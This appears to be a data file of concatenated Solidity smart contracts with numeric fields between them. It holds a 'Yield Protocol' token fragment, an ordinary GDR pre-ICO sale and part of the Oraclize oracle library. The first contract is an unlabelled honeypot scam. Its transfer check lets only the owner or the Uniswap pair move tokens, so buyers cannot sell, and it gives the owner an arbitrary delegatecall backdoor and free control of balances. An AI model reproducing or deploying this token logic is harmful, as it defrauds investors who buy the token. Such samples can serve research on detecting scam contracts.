uint constant public decimals = 18;
uint public totalSupply = 140736000000000000000000000;
string public name = "Yield Protocol";
string public symbol = "YIELD";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkLimits(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
modifier checkLimits(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,635 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract GDR is MintableToken {
string public constant name = "Golden Resource";
string public constant symbol = "GDR";
uint8 public constant decimals = 18;
}
contract ReentrancyGuard {
bool private rentrancy_lock = false;
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
contract PreICO is Ownable, ReentrancyGuard {
using SafeMath for uint256;
GDR public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public priceUSD;
uint256 public centRaised;
uint256 public hardCap;
address oracle;
address manager;
mapping(address => uint) public balances;
mapping(address => uint) public balancesInCent;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function PreICO(
uint256 _startTime,
uint256 _period,
address _wallet,
address _token,
uint256 _priceUSD) public
{
require(_period != 0);
require(_priceUSD != 0);
require(_wallet != address(0));
require(_token != address(0));
startTime = _startTime;
endTime = startTime + _period * 1 days;
priceUSD = _priceUSD;
rate = 12500000000000000;
wallet = _wallet;
token = GDR(_token);
hardCap = 1000000000;
}
modifier saleIsOn() {
bool withinPeriod = now >= startTime && now <= endTime;
require(withinPeriod);
_;
}
modifier isUnderHardCap() {
require(centRaised <= hardCap);
_;
}
modifier onlyOracle(){
require(msg.sender == oracle);
_;
}
modifier onlyOwnerOrManager(){
require(msg.sender == manager || msg.sender == owner);
_;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
function getTokenAmount(uint256 centValue) internal view returns(uint256) {
return centValue.mul(rate);
}
function forwardFunds(uint256 value) internal {
wallet.transfer(value);
}
function finishPreSale() public onlyOwner {
token.transferOwnership(owner);
forwardFunds(this.balance);
}
function setOracle(address _oracle) public onlyOwner {
require(_oracle != address(0));
oracle = _oracle;
}
function setManager(address _manager) public onlyOwner {
require(_manager != address(0));
manager = _manager;
}
function changePriceUSD(uint256 _priceUSD) public onlyOracle {
require(_priceUSD != 0);
priceUSD = _priceUSD;
}
function manualTransfer(address _to, uint _valueUSD) public saleIsOn isUnderHardCap onlyOwnerOrManager {
uint256 centValue = _valueUSD * 100;
uint256 tokensAmount = getTokenAmount(centValue);
centRaised = centRaised.add(centValue);
token.mint(_to, tokensAmount);
balancesInCent[_to] = balancesInCent[_to].add(centValue);
}
function buyTokens(address beneficiary) saleIsOn isUnderHardCap nonReentrant public payable {
require(beneficiary != address(0) && msg.value != 0);
uint256 weiAmount = msg.value;
uint256 centValue = weiAmount.div(priceUSD);
uint256 tokens = getTokenAmount(centValue);
centRaised = centRaised.add(centValue);
token.mint(beneficiary, tokens);
balances[msg.sender] = balances[msg.sender].add(weiAmount);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds(weiAmount);
}
function () external payable {
buyTokens(msg.sender);
}
} | 1 | 4,646 |
pragma solidity 0.4.20;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
